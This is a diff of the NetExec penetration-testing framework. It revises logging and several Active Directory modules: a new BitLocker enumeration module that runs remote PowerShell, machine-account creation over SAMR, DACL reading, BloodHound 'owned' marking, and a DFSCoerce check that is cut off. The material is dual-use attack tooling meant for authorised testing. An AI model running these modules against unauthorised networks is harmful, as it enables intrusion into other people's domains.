logging.getLogger("minidump").disabled = True
|
||||
logging.getLogger("lsassy").disabled = True
|
||||
logging.getLogger("dploot").disabled = True
|
||||
logging.getLogger("neo4j").setLevel(logging.ERROR)
|
||||
|
||||
def format(self, msg, *args, **kwargs): # noqa: A003
|
||||
"""Format msg for output
|
||||
@@ -41,77 +113,49 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
if self.extra is None:
|
||||
return f"{msg}", kwargs
|
||||
|
||||
if "module_name" in self.extra and len(self.extra["module_name"]) > 8:
|
||||
if "module_name" in self.extra and len(self.extra["module_name"]) > 11:
|
||||
self.extra["module_name"] = self.extra["module_name"][:8] + "..."
|
||||
|
||||
# If the logger is being called when hooking the 'options' module function
|
||||
if len(self.extra) == 1 and ("module_name" in self.extra):
|
||||
return (
|
||||
f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}",
|
||||
kwargs,
|
||||
)
|
||||
return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}", kwargs)
|
||||
|
||||
# If the logger is being called from nxcServer
|
||||
if len(self.extra) == 2 and ("module_name" in self.extra) and ("host" in self.extra):
|
||||
return (
|
||||
f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}",
|
||||
kwargs,
|
||||
)
|
||||
return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}", kwargs)
|
||||
|
||||
# If the logger is being called from a protocol
|
||||
module_name = colored(self.extra["module_name"], "cyan", attrs=["bold"]) if "module_name" in self.extra else colored(self.extra["protocol"], "blue", attrs=["bold"])
|
||||
|
||||
return (
|
||||
f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}",
|
||||
kwargs,
|
||||
)
|
||||
return (f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}", kwargs)
|
||||
|
||||
@no_debug
|
||||
def display(self, msg, *args, **kwargs):
|
||||
"""Display text to console, formatted for nxc"""
|
||||
try:
|
||||
if self.extra and "protocol" in self.extra and not called_from_cmd_args():
|
||||
return
|
||||
except AttributeError:
|
||||
pass
|
||||
|
||||
msg, kwargs = self.format(f"{colored('[*]', 'blue', attrs=['bold'])} {msg}", kwargs)
|
||||
text = Text.from_ansi(msg)
|
||||
nxc_console.print(text, *args, **kwargs)
|
||||
self.log_console_to_file(text, *args, **kwargs)
|
||||
|
||||
@no_debug
|
||||
def success(self, msg, color="green", *args, **kwargs):
|
||||
"""Print some sort of success to the user"""
|
||||
try:
|
||||
if self.extra and "protocol" in self.extra and not called_from_cmd_args():
|
||||
return
|
||||
except AttributeError:
|
||||
pass
|
||||
|
||||
"""Prints some sort of success to the user"""
|
||||
msg, kwargs = self.format(f"{colored('[+]', color, attrs=['bold'])} {msg}", kwargs)
|
||||
text = Text.from_ansi(msg)
|
||||
nxc_console.print(text, *args, **kwargs)
|
||||
self.log_console_to_file(text, *args, **kwargs)
|
||||
|
||||
@no_debug
|
||||
def highlight(self, msg, *args, **kwargs):
|
||||
"""Prints a completely yellow highlighted message to the user"""
|
||||
try:
|
||||
if self.extra and "protocol" in self.extra and not called_from_cmd_args():
|
||||
return
|
||||
except AttributeError:
|
||||
pass
|
||||
|
||||
msg, kwargs = self.format(f"{colored(msg, 'yellow', attrs=['bold'])}", kwargs)
|
||||
text = Text.from_ansi(msg)
|
||||
nxc_console.print(text, *args, **kwargs)
|
||||
self.log_console_to_file(text, *args, **kwargs)
|
||||
|
||||
@no_debug
|
||||
def fail(self, msg, color="red", *args, **kwargs):
|
||||
"""Prints a failure (may or may not be an error) - e.g. login creds didn't work"""
|
||||
try:
|
||||
if self.extra and "protocol" in self.extra and not called_from_cmd_args():
|
||||
return
|
||||
except AttributeError:
|
||||
pass
|
||||
msg, kwargs = self.format(f"{colored('[-]', color, attrs=['bold'])} {msg}", kwargs)
|
||||
text = Text.from_ansi(msg)
|
||||
nxc_console.print(text, *args, **kwargs)
|
||||
@@ -123,29 +167,16 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
If debug or info logging is not enabled, we still want display/success/fail logged to the file specified,
|
||||
so we create a custom LogRecord and pass it to all the additional handlers (which will be all the file handlers)
|
||||
"""
|
||||
if self.logger.getEffectiveLevel() >= logging.INFO:
|
||||
# will be 0 if it's just the console output, so only do this if we actually have file loggers
|
||||
if len(self.logger.handlers):
|
||||
try:
|
||||
for handler in self.logger.handlers:
|
||||
handler.handle(
|
||||
LogRecord(
|
||||
"nxc",
|
||||
20,
|
||||
"",
|
||||
kwargs,
|
||||
msg=text,
|
||||
args=args,
|
||||
exc_info=None,
|
||||
)
|
||||
)
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Issue while trying to custom print handler: {e}")
|
||||
else:
|
||||
self.logger.info(text)
|
||||
caller_frame = inspect.currentframe().f_back.f_back.f_back
|
||||
if len(self.logger.handlers): # will be 0 if it's just the console output, so only do this if we actually have file loggers
|
||||
try:
|
||||
for handler in self.logger.handlers:
|
||||
handler.handle(LogRecord("nxc", 20, pathname=caller_frame.f_code.co_filename, lineno=caller_frame.f_lineno, msg=text, args=args, exc_info=None))
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Issue while trying to custom print handler: {e}")
|
||||
|
||||
def add_file_log(self, log_file=None):
|
||||
file_formatter = TermEscapeCodeFormatter("%(asctime)s - %(levelname)s - %(message)s")
|
||||
file_formatter = TermEscapeCodeFormatter("%(asctime)s | %(filename)s:%(lineno)s - %(levelname)s - %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
output_file = self.init_log_file() if log_file is None else log_file
|
||||
file_creation = False
|
||||
|
||||
@@ -153,7 +184,7 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
open(output_file, "x") # noqa: SIM115
|
||||
file_creation = True
|
||||
|
||||
file_handler = RotatingFileHandler(output_file, maxBytes=100000)
|
||||
file_handler = RotatingFileHandler(output_file, maxBytes=100000, encoding="utf-8")
|
||||
|
||||
with file_handler._open() as f:
|
||||
if file_creation:
|
||||
@@ -167,11 +198,10 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
|
||||
@staticmethod
|
||||
def init_log_file():
|
||||
newpath = os.path.expanduser("~/.nxc") + "/logs/" + datetime.now().strftime("%Y-%m-%d")
|
||||
if not os.path.exists(newpath):
|
||||
os.makedirs(newpath)
|
||||
newpath = NXC_PATH + "/logs/" + datetime.now().strftime("%Y-%m-%d")
|
||||
os.makedirs(newpath, exist_ok=True)
|
||||
return os.path.join(
|
||||
os.path.expanduser("~/.nxc"),
|
||||
NXC_PATH,
|
||||
"logs",
|
||||
datetime.now().strftime("%Y-%m-%d"),
|
||||
f"log_{datetime.now().strftime('%Y-%m-%d-%H-%M-%S')}.log",
|
||||
|
||||
@@ -1,42 +0,0 @@
|
||||
# Credit to https://airbus-cyber-security.com/fr/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/
|
||||
# Airbus CERT
|
||||
# module by @mpgn_x64
|
||||
|
||||
from ipaddress import ip_address
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE
|
||||
from impacket.dcerpc.v5.dcomrt import IObjectExporter
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "ioxidresolver"
|
||||
description = "This module helps you to identify hosts that have additional active interfaces"
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
|
||||
def on_login(self, context, connection):
|
||||
authLevel = RPC_C_AUTHN_LEVEL_NONE
|
||||
|
||||
stringBinding = r"ncacn_ip_tcp:%s" % connection.host
|
||||
rpctransport = transport.DCERPCTransportFactory(stringBinding)
|
||||
|
||||
portmap = rpctransport.get_dce_rpc()
|
||||
portmap.set_auth_level(authLevel)
|
||||
portmap.connect()
|
||||
|
||||
objExporter = IObjectExporter(portmap)
|
||||
bindings = objExporter.ServerAlive2()
|
||||
|
||||
context.log.debug("[*] Retrieving network interface of " + connection.host)
|
||||
|
||||
for binding in bindings:
|
||||
NetworkAddr = binding["aNetworkAddr"]
|
||||
try:
|
||||
ip_address(NetworkAddr[:-1])
|
||||
context.log.highlight("Address: " + NetworkAddr)
|
||||
except Exception as e:
|
||||
context.log.debug(e)
|
||||
+1
-1
@@ -27,7 +27,6 @@ class NXCModule:
|
||||
SERVER PKI Enrollment Server to enumerate templates for. Default is None, use CN name
|
||||
BASE_DN The base domain name for the LDAP query
|
||||
"""
|
||||
self.context = context
|
||||
self.regex = re.compile("(https?://.+)")
|
||||
|
||||
self.server = None
|
||||
@@ -39,6 +38,7 @@ class NXCModule:
|
||||
|
||||
def on_login(self, context, connection):
|
||||
"""On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names."""
|
||||
self.context = context
|
||||
if self.server is None:
|
||||
search_filter = "(objectClass=pKIEnrollmentService)"
|
||||
else:
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
import ssl
|
||||
import ldap3
|
||||
from impacket.dcerpc.v5 import samr, epm, transport
|
||||
import sys
|
||||
|
||||
from impacket.dcerpc.v5 import samr, epm, transport
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
@@ -41,6 +41,7 @@ class NXCModule:
|
||||
|
||||
if "CHANGEPW" in module_options and ("NAME" not in module_options or "PASSWORD" not in module_options):
|
||||
context.log.error("NAME and PASSWORD options are required!")
|
||||
sys.exit(1)
|
||||
elif "CHANGEPW" in module_options:
|
||||
self.__noAdd = True
|
||||
|
||||
@@ -61,11 +62,10 @@ class NXCModule:
|
||||
def on_login(self, context, connection):
|
||||
self.__domain = connection.domain
|
||||
self.__domainNetbios = connection.domain
|
||||
self.__kdcHost = connection.hostname + "." + connection.domain
|
||||
self.__target = self.__kdcHost
|
||||
self.__kdcHost = connection.kdcHost
|
||||
self.__username = connection.username
|
||||
self.__password = connection.password
|
||||
self.__targetIp = connection.host
|
||||
self.__host = connection.host
|
||||
self.__port = context.smb_server_port
|
||||
self.__aesKey = context.aesKey
|
||||
self.__hashes = context.hash
|
||||
@@ -87,8 +87,7 @@ class NXCModule:
|
||||
# If SAMR fails now try over LDAPS
|
||||
if not self.noLDAPRequired:
|
||||
self.do_ldaps_add(connection, context)
|
||||
else:
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
def do_samr_add(self, context):
|
||||
"""
|
||||
@@ -102,15 +101,11 @@ class NXCModule:
|
||||
-------
|
||||
None
|
||||
"""
|
||||
target = self.__targetIp or self.__target
|
||||
string_binding = epm.hept_map(target, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
|
||||
string_binding = epm.hept_map(self.__host, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
|
||||
string_binding = string_binding.replace(self.__host, self.__kdcHost) if self.__kdcHost is not None else string_binding
|
||||
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpc_transport.set_dport(self.__port)
|
||||
|
||||
if self.__targetIp is not None:
|
||||
rpc_transport.setRemoteHost(self.__targetIp)
|
||||
rpc_transport.setRemoteName(self.__target)
|
||||
rpc_transport.setRemoteHost(self.__host)
|
||||
|
||||
if hasattr(rpc_transport, "set_credentials"):
|
||||
# This method exists only for selected protocol sequences.
|
||||
@@ -119,10 +114,13 @@ class NXCModule:
|
||||
rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
|
||||
|
||||
dce = rpc_transport.get_dce_rpc()
|
||||
if self.__doKerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
dce.connect()
|
||||
dce.bind(samr.MSRPC_UUID_SAMR)
|
||||
|
||||
samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__target}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
|
||||
samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__kdcHost}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
|
||||
serv_handle = samr_connect_response["ServerHandle"]
|
||||
|
||||
samr_enum_response = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)
|
||||
@@ -178,7 +176,6 @@ class NXCModule:
|
||||
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
|
||||
self.noLDAPRequired = True
|
||||
context.log.highlight("{}".format('Computer account already exists with the name: "' + self.__computerName + '"'))
|
||||
sys.exit(1)
|
||||
except samr.DCERPCSessionError as e:
|
||||
if e.error_code != 0xC0000073:
|
||||
raise
|
||||
@@ -1,87 +0,0 @@
|
||||
# Author:
|
||||
# Romain Bentz (pixis - @hackanddo)
|
||||
# Website:
|
||||
# https://beta.hackndo.com [FR]
|
||||
# https://en.hackndo.com [EN]
|
||||
|
||||
import sys
|
||||
from neo4j import GraphDatabase
|
||||
from neo4j.exceptions import AuthError, ServiceUnavailable
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "bh_owned"
|
||||
description = "Set pwned computer as owned in Bloodhound"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
self.neo4j_pass = None
|
||||
self.neo4j_user = None
|
||||
self.neo4j_Port = None
|
||||
self.neo4j_URI = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
URI URI for Neo4j database (default: 127.0.0.1)
|
||||
PORT Listening port for Neo4j database (default: 7687)
|
||||
USER Username for Neo4j database (default: 'neo4j')
|
||||
PASS Password for Neo4j database (default: 'neo4j')
|
||||
"""
|
||||
self.neo4j_URI = "127.0.0.1"
|
||||
self.neo4j_Port = "7687"
|
||||
self.neo4j_user = "neo4j"
|
||||
self.neo4j_pass = "neo4j"
|
||||
|
||||
if module_options and "URI" in module_options:
|
||||
self.neo4j_URI = module_options["URI"]
|
||||
if module_options and "PORT" in module_options:
|
||||
self.neo4j_Port = module_options["PORT"]
|
||||
if module_options and "USER" in module_options:
|
||||
self.neo4j_user = module_options["USER"]
|
||||
if module_options and "PASS" in module_options:
|
||||
self.neo4j_pass = module_options["PASS"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
domain = connection.conn.getServerDNSDomainName() if context.local_auth else connection.domain
|
||||
|
||||
host_fqdn = f"{connection.hostname}.{domain}".upper()
|
||||
uri = f"bolt://{self.neo4j_URI}:{self.neo4j_Port}"
|
||||
context.log.debug(f"Neo4j URI: {uri}")
|
||||
context.log.debug(f"User: {self.neo4j_user}, Password: {self.neo4j_pass}")
|
||||
|
||||
try:
|
||||
driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass), encrypted=False)
|
||||
except AuthError:
|
||||
context.log.fail(f"Provided Neo4J credentials ({self.neo4j_user}:{self.neo4j_pass}) are not valid. See --options")
|
||||
sys.exit()
|
||||
except ServiceUnavailable:
|
||||
context.log.fail(f"Neo4J does not seem to be available on {uri}. See --options")
|
||||
sys.exit()
|
||||
except Exception as e:
|
||||
context.log.fail("Unexpected error with Neo4J")
|
||||
context.log.debug(f"Error {e}: ")
|
||||
sys.exit()
|
||||
|
||||
with driver.session() as session:
|
||||
try:
|
||||
with session.begin_transaction() as tx:
|
||||
result = tx.run(f"MATCH (c:Computer {{name:{host_fqdn}}}) SET c.owned=True RETURN c.name AS name")
|
||||
record = result.single()
|
||||
try:
|
||||
value = record.value()
|
||||
except AttributeError:
|
||||
value = []
|
||||
except ServiceUnavailable as e:
|
||||
context.log.fail(f"Neo4J does not seem to be available on {uri}. See --options")
|
||||
context.log.debug(f"Error {e}: ")
|
||||
driver.close()
|
||||
sys.exit()
|
||||
if len(value) > 0:
|
||||
context.log.success(f"Node {host_fqdn} successfully set as owned in BloodHound")
|
||||
else:
|
||||
context.log.fail(f"Node {host_fqdn} does not appear to be in Neo4J database. Have you imported the correct data?")
|
||||
driver.close()
|
||||
@@ -0,0 +1,131 @@
|
||||
import re
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
|
||||
class NXCModule:
|
||||
name = "bitlocker"
|
||||
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
USAGE:
|
||||
|
||||
NetExec smb <IP> -u <username> -p <password> -M bitlocker
|
||||
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
|
||||
"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if context.protocol == "smb":
|
||||
bitlocker_smb = BitLockerSMB(context, connection)
|
||||
bitlocker_smb.check_bitlocker_status()
|
||||
elif context.protocol == "wmi":
|
||||
bitlocker_wmi = BitLockerWMI(context, connection)
|
||||
bitlocker_wmi.check_bitlocker_status()
|
||||
|
||||
|
||||
class BitLockerSMB:
|
||||
def __init__(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
def check_bitlocker_status(self):
|
||||
# PowerShell command to check BitLocker volumes status.
|
||||
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
|
||||
|
||||
try:
|
||||
# Executing the PowerShell command to get BitLocker volumes status.
|
||||
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
|
||||
|
||||
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
|
||||
self.context.log.fail("BitLockerVolume not found on target.")
|
||||
return
|
||||
|
||||
# Splitting the output into lines.
|
||||
lines = str(check_bitlocker_command_str_output).splitlines()
|
||||
data_lines = [line for line in lines if re.match(r"\w:", line)]
|
||||
|
||||
for line in data_lines:
|
||||
# Checking every line for starting with drive
|
||||
if line[1] == ":":
|
||||
parts = line.split()
|
||||
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
|
||||
|
||||
# Checking if BitLocker is enabled.
|
||||
if protection_status == "On":
|
||||
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
|
||||
else:
|
||||
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
|
||||
except Exception as e:
|
||||
self.context.log.exception(f"Exception occurred: {e}")
|
||||
|
||||
|
||||
class BitLockerWMI:
|
||||
def __init__(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
def check_bitlocker_status(self):
|
||||
try:
|
||||
# Create a DCOM connection
|
||||
dcom_conn = DCOMConnection(
|
||||
self.connection.host,
|
||||
self.connection.username,
|
||||
self.connection.password,
|
||||
self.connection.domain,
|
||||
self.connection.lmhash,
|
||||
self.connection.nthash,
|
||||
oxidResolver=True,
|
||||
doKerberos=self.connection.kerberos,
|
||||
kdcHost=self.connection.kdcHost)
|
||||
|
||||
try:
|
||||
# CoCreateInstanceEx for WMI login
|
||||
i_interface = dcom_conn.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
||||
iWbemLevel1Login = wmi.IWbemLevel1Login(i_interface)
|
||||
|
||||
# Specify the namespace for BitLocker
|
||||
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
|
||||
|
||||
# NTLM login for WMI
|
||||
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
|
||||
|
||||
# Set authentication level
|
||||
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
|
||||
# Query to get BitLocker status
|
||||
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
|
||||
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
|
||||
encryptionTypeMapping = {0: "None", 1: "AES_256_WITH_DIFFUSER", 2: "AES_256_WITH_DIFFUSER", 3: "AES_128", 4: "AES_256", 5: "HARDWARE_ENCRYPTION", 6: "XTS_AES_128", 7: "XTS_AES_256"}
|
||||
|
||||
try:
|
||||
while True:
|
||||
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
|
||||
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
|
||||
if iWbemClassObject[0].ProtectionStatus == 1:
|
||||
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
|
||||
else:
|
||||
if encryptionMethod == 0: # Should be 0 if disabled
|
||||
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
|
||||
except Exception:
|
||||
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
|
||||
|
||||
# Release resources
|
||||
iWbemLevel1Login.RemRelease()
|
||||
iWbemServices.RemRelease()
|
||||
dcom_conn.disconnect()
|
||||
except Exception as e:
|
||||
if "WBEM_E_INVALID_NAMESPACE" in str(e):
|
||||
self.context.log.fail("BitLockerNamespace not found on target.")
|
||||
dcom_conn.disconnect()
|
||||
except Exception as e:
|
||||
self.context.log.error(f"Error occurred during BitLocker check: {e}")
|
||||
dcom_conn.disconnect()
|
||||
File diff suppressed because it is too large.
Load diff
+26
-25
@@ -65,7 +65,7 @@ WELL_KNOWN_SIDS = {
|
||||
"S-1-5-64-14": "SChannel Authentication",
|
||||
"S-1-5-64-21": "Digest Authority",
|
||||
"S-1-5-80": "NT Service",
|
||||
"S-1-5-83-0": "NT VIRTUAL MACHINE\Virtual Machines",
|
||||
"S-1-5-83-0": "NT VIRTUAL MACHINE\\Virtual Machines",
|
||||
"S-1-16-0": "Untrusted Mandatory Level",
|
||||
"S-1-16-4096": "Low Mandatory Level",
|
||||
"S-1-16-8192": "Medium Mandatory Level",
|
||||
@@ -74,24 +74,24 @@ WELL_KNOWN_SIDS = {
|
||||
"S-1-16-16384": "System Mandatory Level",
|
||||
"S-1-16-20480": "Protected Process Mandatory Level",
|
||||
"S-1-16-28672": "Secure Process Mandatory Level",
|
||||
"S-1-5-32-554": "BUILTIN\Pre-Windows 2000 Compatible Access",
|
||||
"S-1-5-32-555": "BUILTIN\Remote Desktop Users",
|
||||
"S-1-5-32-557": "BUILTIN\Incoming Forest Trust Builders",
|
||||
"S-1-5-32-554": "BUILTIN\\Pre-Windows 2000 Compatible Access",
|
||||
"S-1-5-32-555": "BUILTIN\\Remote Desktop Users",
|
||||
"S-1-5-32-557": "BUILTIN\\Incoming Forest Trust Builders",
|
||||
"S-1-5-32-556": "BUILTIN\\Network Configuration Operators",
|
||||
"S-1-5-32-558": "BUILTIN\Performance Monitor Users",
|
||||
"S-1-5-32-559": "BUILTIN\Performance Log Users",
|
||||
"S-1-5-32-560": "BUILTIN\Windows Authorization Access Group",
|
||||
"S-1-5-32-561": "BUILTIN\Terminal Server License Servers",
|
||||
"S-1-5-32-562": "BUILTIN\Distributed COM Users",
|
||||
"S-1-5-32-569": "BUILTIN\Cryptographic Operators",
|
||||
"S-1-5-32-573": "BUILTIN\Event Log Readers",
|
||||
"S-1-5-32-574": "BUILTIN\Certificate Service DCOM Access",
|
||||
"S-1-5-32-575": "BUILTIN\RDS Remote Access Servers",
|
||||
"S-1-5-32-576": "BUILTIN\RDS Endpoint Servers",
|
||||
"S-1-5-32-577": "BUILTIN\RDS Management Servers",
|
||||
"S-1-5-32-578": "BUILTIN\Hyper-V Administrators",
|
||||
"S-1-5-32-579": "BUILTIN\Access Control Assistance Operators",
|
||||
"S-1-5-32-580": "BUILTIN\Remote Management Users",
|
||||
"S-1-5-32-558": "BUILTIN\\Performance Monitor Users",
|
||||
"S-1-5-32-559": "BUILTIN\\Performance Log Users",
|
||||
"S-1-5-32-560": "BUILTIN\\Windows Authorization Access Group",
|
||||
"S-1-5-32-561": "BUILTIN\\Terminal Server License Servers",
|
||||
"S-1-5-32-562": "BUILTIN\\Distributed COM Users",
|
||||
"S-1-5-32-569": "BUILTIN\\Cryptographic Operators",
|
||||
"S-1-5-32-573": "BUILTIN\\Event Log Readers",
|
||||
"S-1-5-32-574": "BUILTIN\\Certificate Service DCOM Access",
|
||||
"S-1-5-32-575": "BUILTIN\\RDS Remote Access Servers",
|
||||
"S-1-5-32-576": "BUILTIN\\RDS Endpoint Servers",
|
||||
"S-1-5-32-577": "BUILTIN\\RDS Management Servers",
|
||||
"S-1-5-32-578": "BUILTIN\\Hyper-V Administrators",
|
||||
"S-1-5-32-579": "BUILTIN\\Access Control Assistance Operators",
|
||||
"S-1-5-32-580": "BUILTIN\\Remote Management Users",
|
||||
}
|
||||
|
||||
|
||||
@@ -221,8 +221,6 @@ class NXCModule:
|
||||
|
||||
Based on the work of @_nwodtuhs and @BlWasp_.
|
||||
"""
|
||||
self.context = context
|
||||
|
||||
context.log.debug(f"module_options: {module_options}")
|
||||
|
||||
if not module_options:
|
||||
@@ -273,6 +271,7 @@ class NXCModule:
|
||||
self.filename = None
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
"""On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified"""
|
||||
context.log.highlight("Be careful, this module cannot read the DACLS recursively.")
|
||||
self.baseDN = connection.ldapConnection._baseDN
|
||||
@@ -516,6 +515,8 @@ class NXCModule:
|
||||
# If a principal has been specified, only the ACE where he is the trustee will be printed
|
||||
for parsed_ace in parsed_dacl:
|
||||
print_ace = True
|
||||
context.log.debug(f"{parsed_ace=}, {self.rights=}, {self.rights_guid=}, {self.ace_type=}, {self.principal_sid=}")
|
||||
|
||||
# Filter on specific rights
|
||||
if self.rights is not None:
|
||||
try:
|
||||
@@ -528,7 +529,7 @@ class NXCModule:
|
||||
if (self.rights == "ResetPassword") and (("Object type (GUID)" not in parsed_ace) or (RIGHTS_GUID.ResetPassword.value not in parsed_ace["Object type (GUID)"])):
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
|
||||
# Filter on specific right GUID
|
||||
if self.rights_guid is not None:
|
||||
@@ -536,7 +537,7 @@ class NXCModule:
|
||||
if ("Object type (GUID)" not in parsed_ace) or (self.rights_guid not in parsed_ace["Object type (GUID)"]):
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights_guid=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
|
||||
# Filter on ACE type
|
||||
if self.ace_type == "allowed":
|
||||
@@ -544,13 +545,13 @@ class NXCModule:
|
||||
if ("ACCESS_ALLOWED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_ALLOWED_ACE" not in parsed_ace["ACE Type"]):
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
else:
|
||||
try:
|
||||
if ("ACCESS_DENIED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_DENIED_ACE" not in parsed_ace["ACE Type"]):
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
|
||||
# Filter on trusted principal
|
||||
if self.principal_sid is not None:
|
||||
@@ -558,7 +559,7 @@ class NXCModule:
|
||||
if self.principal_sid not in parsed_ace["Trustee (SID)"]:
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
context.log.debug(f"Error filtering with {parsed_ace=} and {self.principal_sid=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
if print_ace:
|
||||
self.context.log.highlight("%-28s" % "ACE[%d] info" % i)
|
||||
self.print_parsed_ace(parsed_ace)
|
||||
|
||||
+2
-124
@@ -1,15 +1,6 @@
|
||||
from impacket import system_errors
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL
|
||||
from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.uuid import uuidtup_to_bin
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "dfscoerce"
|
||||
description = "Module to check if the DC is vulnerable to DFSCocerc, credit to @filip_dragovic/@Wh04m1001 and @topotam"
|
